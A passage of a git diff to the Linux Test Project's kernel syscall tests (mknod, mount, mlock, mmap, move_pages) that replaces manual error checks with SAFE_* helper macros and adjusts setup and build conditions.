-	if (stat(DIR_TEMP, &buf) < 0) {
-		tst_brkm(TBROK, cleanup, "stat(2) of %s failed", DIR_TEMP);
-	}
+	SAFE_STAT(cleanup, DIR_TEMP, &buf);
 
 	/* Verify modes of test directory */
 	if (buf.st_mode & S_ISGID) {
@@ -266,10 +261,7 @@
 	 * Set the effective group id and user id of the test process
 	 * to that of guest user.
 	 */
-	if (setgid(group1_gid) < 0) {
-		tst_brkm(TBROK, cleanup,
-			 "Unable to set process gid to that of ltpuser");
-	}
+	SAFE_SETGID(cleanup, group1_gid);
 	if (setreuid(-1, user1_uid) < 0) {
 		tst_brkm(TBROK, cleanup,
 			 "Unable to set process uid to that of ltp user");
@@ -279,10 +271,7 @@
 	mygid = getgid();
 
 	/* Change directory to DIR_TEMP */
-	if (chdir(DIR_TEMP) < 0) {
-		tst_brkm(TBROK, cleanup,
-			 "Unable to change to %s directory", DIR_TEMP);
-	}
+	SAFE_CHDIR(cleanup, DIR_TEMP);
 }
 
 /*
diff --git a/testcases/kernel/syscalls/mknod/mknod03.c b/testcases/kernel/syscalls/mknod/mknod03.c
index 4318bb9..fc34686 100644
--- a/testcases/kernel/syscalls/mknod/mknod03.c
+++ b/testcases/kernel/syscalls/mknod/mknod03.c
@@ -80,6 +80,7 @@
 #include <sys/stat.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define LTPUSER		"nobody"
 #define MODE_RWX	S_IFIFO | S_IRWXU | S_IRWXG | S_IRWXO
@@ -233,23 +234,15 @@
 	 * specified mode permissions, with uid/gid set to that of guest
 	 * user and the test process.
 	 */
-	if (mkdir(DIR_TEMP, MODE_RWX) < 0) {
-		tst_brkm(TBROK, cleanup, "mkdir(2) of %s failed", DIR_TEMP);
-	}
-	if (chown(DIR_TEMP, user1_uid, group2_gid) < 0) {
-		tst_brkm(TBROK, cleanup, "chown(2) of %s failed", DIR_TEMP);
-	}
-	if (chmod(DIR_TEMP, MODE_SGID) < 0) {
-		tst_brkm(TBROK, cleanup, "chmod(2) of %s failed", DIR_TEMP);
-	}
+	SAFE_MKDIR(cleanup, DIR_TEMP, MODE_RWX);
+	SAFE_CHOWN(cleanup, DIR_TEMP, user1_uid, group2_gid);
+	SAFE_CHMOD(cleanup, DIR_TEMP, MODE_SGID);
 
 	/*
 	 * Verify that test directory created with expected permission modes
 	 * and ownerships.
 	 */
-	if (stat(DIR_TEMP, &buf) < 0) {
-		tst_brkm(TBROK, cleanup, "stat(2) of %s failed", DIR_TEMP);
-	}
+	SAFE_STAT(cleanup, DIR_TEMP, &buf);
 
 	/* Verify modes of test directory */
 	if (!(buf.st_mode & S_ISGID)) {
@@ -266,10 +259,7 @@
 	 * Set the effective group id and user id of the test process
 	 * to that of guest user (nobody)
 	 */
-	if (setgid(group1_gid) < 0) {
-		tst_brkm(TBROK, cleanup,
-			 "Unable to set process gid to that of ltp user");
-	}
+	SAFE_SETGID(cleanup, group1_gid);
 	if (setreuid(-1, user1_uid) < 0) {
 		tst_brkm(TBROK, cleanup,
 			 "Unable to set process uid to that of ltp user");
@@ -279,10 +269,7 @@
 	mygid = getgid();
 
 	/* Change directory to DIR_TEMP */
-	if (chdir(DIR_TEMP) < 0) {
-		tst_brkm(TBROK, cleanup,
-			 "Unable to change to %s directory", DIR_TEMP);
-	}
+	SAFE_CHDIR(cleanup, DIR_TEMP);
 }
 
 /*
diff --git a/testcases/kernel/syscalls/mknod/mknod04.c b/testcases/kernel/syscalls/mknod/mknod04.c
index 4b7f42f..6a8e08e 100644
--- a/testcases/kernel/syscalls/mknod/mknod04.c
+++ b/testcases/kernel/syscalls/mknod/mknod04.c
@@ -80,6 +80,7 @@
 #include <sys/stat.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define LTPUSER		"nobody"
 #define MODE_RWX	S_IFIFO | S_IRWXU | S_IRWXG | S_IRWXO
@@ -235,23 +236,15 @@
 	 * specified mode permissions, with uid/gid set to that of guest
 	 * user and the test process.
 	 */
-	if (mkdir(DIR_TEMP, MODE_RWX) < 0) {
-		tst_brkm(TBROK, cleanup, "mkdir(2) of %s failed", DIR_TEMP);
-	}
-	if (chown(DIR_TEMP, user1_uid, group2_gid) < 0) {
-		tst_brkm(TBROK, cleanup, "chown(2) of %s failed", DIR_TEMP);
-	}
-	if (chmod(DIR_TEMP, MODE_SGID) < 0) {
-		tst_brkm(TBROK, cleanup, "chmod(2) of %s failed", DIR_TEMP);
-	}
+	SAFE_MKDIR(cleanup, DIR_TEMP, MODE_RWX);
+	SAFE_CHOWN(cleanup, DIR_TEMP, user1_uid, group2_gid);
+	SAFE_CHMOD(cleanup, DIR_TEMP, MODE_SGID);
 
 	/*
 	 * Verify that test directory created with expected permission modes
 	 * and ownerships.
 	 */
-	if (stat(DIR_TEMP, &buf) < 0) {
-		tst_brkm(TBROK, cleanup, "stat(2) of %s failed", DIR_TEMP);
-	}
+	SAFE_STAT(cleanup, DIR_TEMP, &buf);
 
 	/* Verify modes of test directory */
 	if (!(buf.st_mode & S_ISGID)) {
@@ -268,10 +261,7 @@
 	 * Set the effective group id and user id of the test process
 	 * to that of guest user (nobody)
 	 */
-	if (setgid(group1_gid) < 0) {
-		tst_brkm(TBROK, cleanup,
-			 "Unable to set process gid to that of ltp user");
-	}
+	SAFE_SETGID(cleanup, group1_gid);
 	if (setreuid(-1, user1_uid) < 0) {
 		tst_brkm(TBROK, cleanup,
 			 "Unable to set process uid to that of ltp user");
@@ -281,10 +271,7 @@
 	mygid = getgid();
 
 	/* Change directory to DIR_TEMP */
-	if (chdir(DIR_TEMP) < 0) {
-		tst_brkm(TBROK, cleanup,
-			 "Unable to change to %s directory", DIR_TEMP);
-	}
+	SAFE_CHDIR(cleanup, DIR_TEMP);
 }
 
 /*
diff --git a/testcases/kernel/syscalls/mknod/mknod05.c b/testcases/kernel/syscalls/mknod/mknod05.c
index a9b395f..a00a0e4 100644
--- a/testcases/kernel/syscalls/mknod/mknod05.c
+++ b/testcases/kernel/syscalls/mknod/mknod05.c
@@ -80,6 +80,7 @@
 #include <sys/stat.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define LTPUSER		"nobody"
 #define MODE_RWX	S_IFIFO | S_IRWXU | S_IRWXG | S_IRWXO
@@ -227,23 +228,15 @@
 	 * specified mode permissions, with uid/gid set to that of guest
 	 * user and the test process.
 	 */
-	if (mkdir(DIR_TEMP, MODE_RWX) < 0) {
-		tst_brkm(TBROK, cleanup, "mkdir(2) of %s failed", DIR_TEMP);
-	}
-	if (chown(DIR_TEMP, user1_uid, group2_gid) < 0) {
-		tst_brkm(TBROK, cleanup, "chown(2) of %s failed", DIR_TEMP);
-	}
-	if (chmod(DIR_TEMP, MODE_SGID) < 0) {
-		tst_brkm(TBROK, cleanup, "chmod(2) of %s failed", DIR_TEMP);
-	}
+	SAFE_MKDIR(cleanup, DIR_TEMP, MODE_RWX);
+	SAFE_CHOWN(cleanup, DIR_TEMP, user1_uid, group2_gid);
+	SAFE_CHMOD(cleanup, DIR_TEMP, MODE_SGID);
 
 	/*
 	 * Verify that test directory created with expected permission modes
 	 * and ownerships.
 	 */
-	if (stat(DIR_TEMP, &buf) < 0) {
-		tst_brkm(TBROK, cleanup, "stat(2) of %s failed", DIR_TEMP);
-	}
+	SAFE_STAT(cleanup, DIR_TEMP, &buf);
 	/* Verify modes of test directory */
 	if (!(buf.st_mode & S_ISGID)) {
 		tst_brkm(TBROK, cleanup,
@@ -256,10 +249,7 @@
 	}
 
 	/* Change directory to DIR_TEMP */
-	if (chdir(DIR_TEMP) < 0) {
-		tst_brkm(TBROK, cleanup,
-			 "Unable to change to %s directory", DIR_TEMP);
-	}
+	SAFE_CHDIR(cleanup, DIR_TEMP);
 }
 
 /*
diff --git a/testcases/kernel/syscalls/mknod/mknod07.c b/testcases/kernel/syscalls/mknod/mknod07.c
index bdb6640..69cff02 100644
--- a/testcases/kernel/syscalls/mknod/mknod07.c
+++ b/testcases/kernel/syscalls/mknod/mknod07.c
@@ -129,10 +129,7 @@
 
 	/* mount a read-only file system for EROFS test */
 	SAFE_MKDIR(cleanup, MNT_POINT, DIR_MODE);
-	if (mount(device, MNT_POINT, fs_type, MS_RDONLY, NULL) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "mount device:%s failed", device);
-	}
+	SAFE_MOUNT(cleanup, device, MNT_POINT, fs_type, MS_RDONLY, NULL);
 	mount_flag = 1;
 
 	ltpuser = SAFE_GETPWNAM(cleanup, "nobody");
diff --git a/testcases/kernel/syscalls/mknod/mknod08.c b/testcases/kernel/syscalls/mknod/mknod08.c
index 5d3f687..3cc24ab 100644
--- a/testcases/kernel/syscalls/mknod/mknod08.c
+++ b/testcases/kernel/syscalls/mknod/mknod08.c
@@ -80,6 +80,7 @@
 #include <sys/stat.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define LTPUSER		"nobody"
 #define MODE_RWX	S_IFIFO | S_IRWXU | S_IRWXG | S_IRWXO
@@ -231,20 +232,14 @@
 	 * specified mode permissions, with uid/gid set to that of guest
 	 * user and the test process.
 	 */
-	if (mkdir(DIR_TEMP, MODE_RWX) < 0) {
-		tst_brkm(TBROK, cleanup, "mkdir(2) of %s failed", DIR_TEMP);
-	}
-	if (chown(DIR_TEMP, user1_uid, group2_gid) < 0) {
-		tst_brkm(TBROK, cleanup, "chown(2) of %s failed", DIR_TEMP);
-	}
+	SAFE_MKDIR(cleanup, DIR_TEMP, MODE_RWX);
+	SAFE_CHOWN(cleanup, DIR_TEMP, user1_uid, group2_gid);
 
 	/*
 	 * Verify that test directory created with expected permission modes
 	 * and ownerships.
 	 */
-	if (stat(DIR_TEMP, &buf) < 0) {
-		tst_brkm(TBROK, cleanup, "stat(2) of %s failed", DIR_TEMP);
-	}
+	SAFE_STAT(cleanup, DIR_TEMP, &buf);
 
 	/* Verify modes of test directory */
 	if (buf.st_mode & S_ISGID) {
@@ -261,10 +256,7 @@
 	 * Set the effective group id and user id of the test process
 	 * to that of guest user.
 	 */
-	if (setgid(group1_gid) < 0) {
-		tst_brkm(TBROK, cleanup,
-			 "Unable to set process gid to that of ltp user");
-	}
+	SAFE_SETGID(cleanup, group1_gid);
 	if (setreuid(-1, user1_uid) < 0) {
 		tst_brkm(TBROK, cleanup,
 			 "Unable to set process uid to that of ltp user");
@@ -274,10 +266,7 @@
 	mygid = getgid();
 
 	/* Change directory to DIR_TEMP */
-	if (chdir(DIR_TEMP) < 0) {
-		tst_brkm(TBROK, cleanup,
-			 "Unable to change to %s directory", DIR_TEMP);
-	}
+	SAFE_CHDIR(cleanup, DIR_TEMP);
 }
 
 /*
diff --git a/testcases/kernel/syscalls/mknodat/mknodat.h b/testcases/kernel/syscalls/mknodat/mknodat.h
index 577d5ac..b4e828c 100644
--- a/testcases/kernel/syscalls/mknodat/mknodat.h
+++ b/testcases/kernel/syscalls/mknodat/mknodat.h
@@ -22,6 +22,7 @@
 #define MKNODAT_H
 
 #include <sys/types.h>
+#include "config.h"
 #include "lapi/syscalls.h"
 
 #if !defined(HAVE_MKNODAT)
diff --git a/testcases/kernel/syscalls/mknodat/mknodat02.c b/testcases/kernel/syscalls/mknodat/mknodat02.c
index 0216aa2..6c5054b 100644
--- a/testcases/kernel/syscalls/mknodat/mknodat02.c
+++ b/testcases/kernel/syscalls/mknodat/mknodat02.c
@@ -131,10 +131,7 @@
 	 * mount a read-only file system for EROFS test
 	 */
 	SAFE_MKDIR(cleanup, MNT_POINT, DIR_MODE);
-	if (mount(device, MNT_POINT, fs_type, MS_RDONLY, NULL) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "mount device:%s failed", device);
-	}
+	SAFE_MOUNT(cleanup, device, MNT_POINT, fs_type, MS_RDONLY, NULL);
 	mount_flag = 1;
 	dir_fd = SAFE_OPEN(cleanup, MNT_POINT, O_DIRECTORY);
 
diff --git a/testcases/kernel/syscalls/mlock/mlock04.c b/testcases/kernel/syscalls/mlock/mlock04.c
index a97bf49..8ac8845 100644
--- a/testcases/kernel/syscalls/mlock/mlock04.c
+++ b/testcases/kernel/syscalls/mlock/mlock04.c
@@ -31,6 +31,7 @@
  * 02110-1301, USA.
  */
 #include "test.h"
+#include "safe_macros.h"
 #include "config.h"
 
 char *TCID = "mlock04";
@@ -72,8 +73,7 @@
 		if (munlock(buf, file_len) == -1)
 			tst_brkm(TBROK | TERRNO, cleanup, "munlock");
 
-		if (munmap(buf, file_len) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "munmap");
+		SAFE_MUNMAP(cleanup, buf, file_len);
 	}
 
 	tst_resm(TPASS, "test succeeded.");
@@ -87,12 +87,9 @@
 {
 	tst_tmpdir();
 
-	fd = open(testfile, O_CREAT | O_RDWR, S_IRUSR | S_IWUSR);
-	if (fd == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "open");
+	fd = SAFE_OPEN(cleanup, testfile, O_CREAT | O_RDWR, S_IRUSR | S_IWUSR);
 
-	if (ftruncate(fd, file_len) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "ftruncate");
+	SAFE_FTRUNCATE(cleanup, fd, file_len);
 
 	TEST_PAUSE;
 }
diff --git a/testcases/kernel/syscalls/mlockall/mlockall02.c b/testcases/kernel/syscalls/mlockall/mlockall02.c
index f1ec962..f2eca09 100644
--- a/testcases/kernel/syscalls/mlockall/mlockall02.c
+++ b/testcases/kernel/syscalls/mlockall/mlockall02.c
@@ -77,6 +77,7 @@
 #include <pwd.h>
 #include <sys/mman.h>
 #include "test.h"
+#include "safe_macros.h"
 #include <sys/resource.h>
 
 void setup();
@@ -248,11 +249,7 @@
 		}
 		return;
 	case 1:
-		if (seteuid(0) == -1) {
-			tst_brkm(TBROK, cleanup, "seteuid() failed to "
-				 "change euid to %d errno = %d : %s",
-				 0, TEST_ERRNO, strerror(TEST_ERRNO));
-		}
+		SAFE_SETEUID(cleanup, 0);
 		return;
 
 	}
diff --git a/testcases/kernel/syscalls/mlockall/mlockall03.c b/testcases/kernel/syscalls/mlockall/mlockall03.c
index 5bdbdd0..5e8e556 100644
--- a/testcases/kernel/syscalls/mlockall/mlockall03.c
+++ b/testcases/kernel/syscalls/mlockall/mlockall03.c
@@ -79,6 +79,7 @@
 #include <ctype.h>
 #include <sys/mman.h>
 #include "test.h"
+#include "safe_macros.h"
 #include <sys/resource.h>
 #include <sys/utsname.h>
 
@@ -267,11 +268,7 @@
 
 	switch (i) {
 	case 0:
-		if (seteuid(0) == -1) {
-			tst_brkm(TBROK, cleanup, "seteuid() failed to "
-				 "change euid to %d errno = %d : %s",
-				 0, TEST_ERRNO, strerror(TEST_ERRNO));
-		}
+		SAFE_SETEUID(cleanup, 0);
 
 		rl.rlim_max = -1;
 		rl.rlim_cur = -1;
@@ -287,11 +284,7 @@
 		return;
 
 	case 1:
-		if (seteuid(0) == -1) {
-			tst_brkm(TBROK, cleanup, "seteuid() failed to "
-				 "change euid to %d errno = %d : %s",
-				 0, TEST_ERRNO, strerror(TEST_ERRNO));
-		}
+		SAFE_SETEUID(cleanup, 0);
 		return;
 
 	}
diff --git a/testcases/kernel/syscalls/mmap/mmap15.c b/testcases/kernel/syscalls/mmap/mmap15.c
index 7e917bd..eff27d6 100644
--- a/testcases/kernel/syscalls/mmap/mmap15.c
+++ b/testcases/kernel/syscalls/mmap/mmap15.c
@@ -43,10 +43,10 @@
 #ifdef __ia64__
 # define HIGH_ADDR (void *)(0xa000000000000000UL)
 #else
-# define HIGH_ADDR (void *)(1L << 53)
+# define HIGH_ADDR (void *)(-page_size)
 #endif
 
-static long map_sz;
+static long page_size;
 
 static void setup(void);
 static void cleanup(void);
@@ -70,12 +70,12 @@
 		fd = SAFE_OPEN(cleanup, "testfile", O_RDWR | O_CREAT, 0666);
 
 		/* Attempt to mmap into highmem addr, should get ENOMEM */
-		addr = mmap(HIGH_ADDR, map_sz, PROT_READ,
+		addr = mmap(HIGH_ADDR, page_size, PROT_READ,
 			    MAP_SHARED | MAP_FIXED, fd, 0);
 		if (addr != MAP_FAILED) {
 			tst_resm(TFAIL, "mmap into high region "
 				 "succeeded unexpectedly");
-			munmap(addr, map_sz);
+			munmap(addr, page_size);
 			close(fd);
 			continue;
 		}
@@ -102,7 +102,7 @@
 
 	tst_tmpdir();
 
-	map_sz = getpagesize();
+	page_size = getpagesize();
 
 	TEST_PAUSE;
 }
diff --git a/testcases/kernel/syscalls/mount/mount03.c b/testcases/kernel/syscalls/mount/mount03.c
index a8abbff..6603fb7 100644
--- a/testcases/kernel/syscalls/mount/mount03.c
+++ b/testcases/kernel/syscalls/mount/mount03.c
@@ -261,16 +261,7 @@
 	case 5:
 		/* Validate MS_NOSUID flag of mount call */
 
-		snprintf(file, PATH_MAX, "%ssetuid_test", path_name);
-		SAFE_FILE_PRINTF(cleanup, file, "TEST FILE");
-
-		if (stat(file, &file_stat) < 0)
-			tst_brkm(TBROK, cleanup, "stat for setuid_test failed");
-
-		if (file_stat.st_mode != SUID_MODE &&
-		    chmod(file, SUID_MODE) < 0)
-			tst_brkm(TBROK, cleanup,
-				 "setuid for setuid_test failed");
+		snprintf(file, PATH_MAX, "%smount03_setuid_test", path_name);
 
 		pid = fork();
 		switch (pid) {
@@ -292,9 +283,8 @@
 				/* reset the setup_uid */
 				if (status)
 					return 0;
-				else
-					return 1;
 			}
+			return 1;
 		}
 	case 6:
 		/* Validate MS_NOATIME flag of mount call */
@@ -347,6 +337,7 @@
 static void setup(void)
 {
 	char path[PATH_MAX];
+	struct stat file_stat;
 
 	tst_sig(FORK, DEF_HANDLER, cleanup);
 
@@ -374,6 +365,18 @@
 	strncpy(path, path_name, PATH_MAX);
 	snprintf(path_name, PATH_MAX, "%s/%s/", path, mntpoint);
 
+	SAFE_MOUNT(cleanup, device, mntpoint, fs_type, 0, NULL);
+	TST_RESOURCE_COPY(cleanup, "mount03_setuid_test", path_name);
+
+	snprintf(file, PATH_MAX, "%smount03_setuid_test", path_name);
+	SAFE_STAT(cleanup, file, &file_stat);
+
+	if (file_stat.st_mode != SUID_MODE &&
+	    chmod(file, SUID_MODE) < 0)
+		tst_brkm(TBROK, cleanup,
+			 "setuid for setuid_test failed");
+	SAFE_UMOUNT(cleanup, mntpoint);
+
 	TEST_PAUSE;
 }
 
diff --git a/testcases/kernel/syscalls/mount/setuid_test.c b/testcases/kernel/syscalls/mount/mount03_setuid_test.c
similarity index 100%
rename from testcases/kernel/syscalls/mount/setuid_test.c
rename to testcases/kernel/syscalls/mount/mount03_setuid_test.c
diff --git a/testcases/kernel/syscalls/mount/mount05.c b/testcases/kernel/syscalls/mount/mount05.c
index bd664fd..ca26f97 100644
--- a/testcases/kernel/syscalls/mount/mount05.c
+++ b/testcases/kernel/syscalls/mount/mount05.c
@@ -106,8 +106,7 @@
 	if (dflag) {
 		tst_mkfs(NULL, device, fstype, NULL, NULL);
 
-		if (mount(device, mntpoint_src, fstype, 0, NULL) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "mount failed");
+		SAFE_MOUNT(cleanup, device, mntpoint_src, fstype, 0, NULL);
 	}
 
 	SAFE_FILE_PRINTF(cleanup, file_src, "TEST FILE");
diff --git a/testcases/kernel/syscalls/mount/mount06.c b/testcases/kernel/syscalls/mount/mount06.c
index 143c9af..857f5f9 100644
--- a/testcases/kernel/syscalls/mount/mount06.c
+++ b/testcases/kernel/syscalls/mount/mount06.c
@@ -69,9 +69,7 @@
 
 		tst_count = 0;
 
-		if (mount(device, mntpoint_src, fs_type, 0, NULL) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "mount %s failed",
-				 mntpoint_src);
+		SAFE_MOUNT(cleanup, device, mntpoint_src, fs_type, 0, NULL);
 
 		TEST(mount(mntpoint_src, mntpoint_des, fs_type, MS_MOVE, NULL));
 
@@ -138,13 +136,11 @@
 	 * Turn current dir into a private mount point being a parent
 	 * mount which is required by move mount.
 	 */
-	if (mount(path_name, path_name, "none", MS_BIND, NULL) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "bind mount failed");
+	SAFE_MOUNT(cleanup, path_name, path_name, "none", MS_BIND, NULL);
 
 	mount_flag = 1;
 
-	if (mount("none", path_name, "none", MS_PRIVATE, NULL) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "mount private failed");
+	SAFE_MOUNT(cleanup, "none", path_name, "none", MS_PRIVATE, NULL);
 
 	snprintf(mntpoint_src, PATH_MAX, "%s/%s", path_name, MNTPOINT_SRC);
 	snprintf(mntpoint_des, PATH_MAX, "%s/%s", path_name, MNTPOINT_DES);
diff --git a/testcases/kernel/syscalls/move_pages/Makefile b/testcases/kernel/syscalls/move_pages/Makefile
index d4620e1..9892770 100644
--- a/testcases/kernel/syscalls/move_pages/Makefile
+++ b/testcases/kernel/syscalls/move_pages/Makefile
@@ -26,11 +26,6 @@
 
 MAKE_TARGETS		:= $(patsubst $(abs_srcdir)/%.c,%,$(wildcard $(abs_srcdir)/*[0-9].c))
 
-# linux_syscall_numbers.h is forcing move_pages_support.o to complain about
-# cleanup being undefined [and when defined] unused. Let's just skip this
-# warning...
-move_pages_support.o: CFLAGS += -Wno-unused-function
-
 $(MAKE_TARGETS): %: %.o move_pages_support.o
 
 LDLIBS			+= -lpthread -lrt
diff --git a/testcases/kernel/syscalls/move_pages/move_pages01.c b/testcases/kernel/syscalls/move_pages/move_pages01.c
index 6f9bd89..e86c5fc 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages01.c
+++ b/testcases/kernel/syscalls/move_pages/move_pages01.c
@@ -72,7 +72,7 @@
 
 	setup();
 
-#if HAVE_NUMA_MOVE_PAGES
+#ifdef HAVE_NUMA_V2
 	int lc;
 
 	/* check for looping state if -i option is given */
@@ -101,7 +101,7 @@
 
 	}
 #else
-	tst_resm(TCONF, "move_pages support not found.");
+	tst_resm(TCONF, "test requires libnuma >= 2 and it's development packages");
 #endif
 
 	cleanup();
diff --git a/testcases/kernel/syscalls/move_pages/move_pages02.c b/testcases/kernel/syscalls/move_pages/move_pages02.c
index 23594ab..ee84b92 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages02.c
+++ b/testcases/kernel/syscalls/move_pages/move_pages02.c
@@ -73,7 +73,7 @@
 
 	setup();
 
-#if HAVE_NUMA_MOVE_PAGES
+#ifdef HAVE_NUMA_V2
 	unsigned int i;
 	int lc;
 	unsigned int from_node;
@@ -117,7 +117,7 @@
 		free_pages(pages, TEST_PAGES);
 	}
 #else
-	tst_resm(TCONF, "move_pages support not found.");
+	tst_resm(TCONF, "test requires libnuma >= 2 and it's development packages");
 #endif
 
 	cleanup();
diff --git a/testcases/kernel/syscalls/move_pages/move_pages03.c b/testcases/kernel/syscalls/move_pages/move_pages03.c
index ec036e6..f3f4fd9 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages03.c
+++ b/testcases/kernel/syscalls/move_pages/move_pages03.c
@@ -111,7 +111,7 @@
 
 	setup();
 
-#if HAVE_NUMA_MOVE_PAGES
+#ifdef HAVE_NUMA_V2
 	unsigned int i;
 	int lc;
 	unsigned int from_node;
@@ -183,7 +183,7 @@
 		free_shared_pages(pages, TEST_PAGES);
 	}
 #else
-	tst_resm(TCONF, "move_pages support not found.");
+	tst_resm(TCONF, "test requires libnuma >= 2 and it's development packages");
 #endif
 
 	cleanup();
diff --git a/testcases/kernel/syscalls/move_pages/move_pages04.c b/testcases/kernel/syscalls/move_pages/move_pages04.c
index 0182538..3678df0 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages04.c
+++ b/testcases/kernel/syscalls/move_pages/move_pages04.c
@@ -84,7 +84,7 @@
 
 	setup();
 
-#if HAVE_NUMA_MOVE_PAGES
+#ifdef HAVE_NUMA_V2
 	unsigned int i;
 	int lc;
 	unsigned int from_node;
@@ -150,7 +150,7 @@
 		free_pages(pages, TEST_PAGES);
 	}
 #else
-	tst_resm(TCONF, "move_pages support not found.");
+	tst_resm(TCONF, "test requires libnuma >= 2 and it's development packages");
 #endif
 
 	cleanup();
diff --git a/testcases/kernel/syscalls/move_pages/move_pages05.c b/testcases/kernel/syscalls/move_pages/move_pages05.c
index 10264ef..da9642e 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages05.c
+++ b/testcases/kernel/syscalls/move_pages/move_pages05.c
@@ -112,7 +112,7 @@
 
 	setup();
 
-#if HAVE_NUMA_MOVE_PAGES
+#ifdef HAVE_NUMA_V2
 	unsigned int i;
 	int lc;
 	unsigned int from_node;
@@ -198,7 +198,7 @@
 		free_shared_pages(pages + SHARED_PAGE, N_SHARED_PAGES);
 	}
 #else
-	tst_resm(TCONF, "move_pages support not found.");
+	tst_resm(TCONF, "test requires libnuma >= 2 and it's development packages");
 #endif
 
 	cleanup();
diff --git a/testcases/kernel/syscalls/move_pages/move_pages06.c b/testcases/kernel/syscalls/move_pages/move_pages06.c
index 847fc62..0edb582 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages06.c
+++ b/testcases/kernel/syscalls/move_pages/move_pages06.c
@@ -73,7 +73,7 @@
 
 	setup();
 
-#if HAVE_NUMA_MOVE_PAGES
+#ifdef HAVE_NUMA_V2
 	unsigned int i;
 	int lc;
 	unsigned int from_node;
@@ -113,7 +113,7 @@
 		free_pages(pages, TEST_PAGES);
 	}
 #else
-	tst_resm(TCONF, "move_pages support not found.");
+	tst_resm(TCONF, "test requires libnuma >= 2 and it's development packages");
 #endif
 
 	cleanup();
diff --git a/testcases/kernel/syscalls/move_pages/move_pages07.c b/testcases/kernel/syscalls/move_pages/move_pages07.c
index b8653bd..0ed54b7 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages07.c
+++ b/testcases/kernel/syscalls/move_pages/move_pages07.c
@@ -73,7 +73,7 @@
 
 	setup();
 
-#if HAVE_NUMA_MOVE_PAGES
+#ifdef HAVE_NUMA_V2
 	unsigned int i;
 	int lc;
 	unsigned int from_node;
@@ -115,7 +115,7 @@
 		free_pages(pages, TEST_PAGES);
 	}
 #else
-	tst_resm(TCONF, "move_pages support not found.");
+	tst_resm(TCONF, "test requires libnuma >= 2 and it's development packages");
 #endif
 
 	cleanup();
diff --git a/testcases/kernel/syscalls/move_pages/move_pages08.c b/testcases/kernel/syscalls/move_pages/move_pages08.c
index 66544eb..bf237f3 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages08.c
+++ b/testcases/kernel/syscalls/move_pages/move_pages08.c
@@ -74,7 +74,7 @@
 
 	setup();
 
-#if HAVE_NUMA_MOVE_PAGES
+#ifdef HAVE_NUMA_V2
 	unsigned int i;
 	int lc;
 	unsigned int from_node;
@@ -113,7 +113,7 @@
 		free_pages(pages, TEST_PAGES);
 	}
 #else
-	tst_resm(TCONF, "move_pages support not found.");
+	tst_resm(TCONF, "test requires libnuma >= 2 and it's development packages");
 #endif
 
 	cleanup();
diff --git a/testcases/kernel/syscalls/move_pages/move_pages09.c b/testcases/kernel/syscalls/move_pages/move_pages09.c
index d217fc2..2d9dc46 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages09.c
+++ b/testcases/kernel/syscalls/move_pages/move_pages09.c
@@ -73,7 +73,7 @@
 
 	setup();
 
-#if HAVE_NUMA_MOVE_PAGES
+#ifdef HAVE_NUMA_V2
 	unsigned int i;
 	int lc;
 	unsigned int from_node;
@@ -125,7 +125,7 @@
 		free_pages(pages, TEST_PAGES);
 	}
 #else
-	tst_resm(TCONF, "move_pages support not found.");
+	tst_resm(TCONF, "test requires libnuma >= 2 and it's development packages");
 #endif
 
 	cleanup();
diff --git a/testcases/kernel/syscalls/move_pages/move_pages10.c b/testcases/kernel/syscalls/move_pages/move_pages10.c
index 1777ff4..7044135 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages10.c
+++ b/testcases/kernel/syscalls/move_pages/move_pages10.c
@@ -73,7 +73,7 @@
 
 	setup();
 
-#if HAVE_NUMA_MOVE_PAGES
+#ifdef HAVE_NUMA_V2
 	unsigned int i;
 	int lc;
 	unsigned int from_node;
@@ -112,7 +112,7 @@
 		free_pages(pages, TEST_PAGES);
 	}
 #else
-	tst_resm(TCONF, "move_pages support not found.");
+	tst_resm(TCONF, "test requires libnuma >= 2 and it's development packages");
 #endif
 
 	cleanup();
diff --git a/testcases/kernel/syscalls/move_pages/move_pages11.c b/testcases/kernel/syscalls/move_pages/move_pages11.c
index 440e116..a9d84c5 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages11.c
+++ b/testcases/kernel/syscalls/move_pages/move_pages11.c
@@ -59,6 +59,7 @@
 #include <errno.h>
 #include <pwd.h>
 #include "test.h"
+#include "safe_macros.h"
 #include "move_pages_support.h"
 
 #define TEST_PAGES 2
@@ -111,7 +112,7 @@
 
 	setup();
 
-#if HAVE_NUMA_MOVE_PAGES
+#ifdef HAVE_NUMA_V2
 	unsigned int i;
 	int lc;
 	unsigned int from_node;
@@ -185,7 +186,7 @@
 		free_shared_pages(pages, TEST_PAGES);
 	}
 #else
-	tst_resm(TCONF, "move_pages support not found.");
+	tst_resm(TCONF, "test requires libnuma >= 2 and it's development packages");
 #endif
 
 	cleanup();
@@ -210,10 +211,7 @@
 		tst_brkm(TBROK, NULL, "'nobody' user not present");
 	}
 
-	if (seteuid(ltpuser->pw_uid) == -1) {
-		tst_brkm(TBROK, NULL, "setting uid to %d failed",
-			 ltpuser->pw_uid);
-	}
+	SAFE_SETEUID(NULL, ltpuser->pw_uid);
 
 	/* Pause if that option was specified
 	 * TEST_PAUSE contains the code to fork the test with the -c option.
diff --git a/testcases/kernel/syscalls/move_pages/move_pages12.c b/testcases/kernel/syscalls/move_pages/move_pages12.c
index 4c7d5c2..1ac7bc1 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages12.c
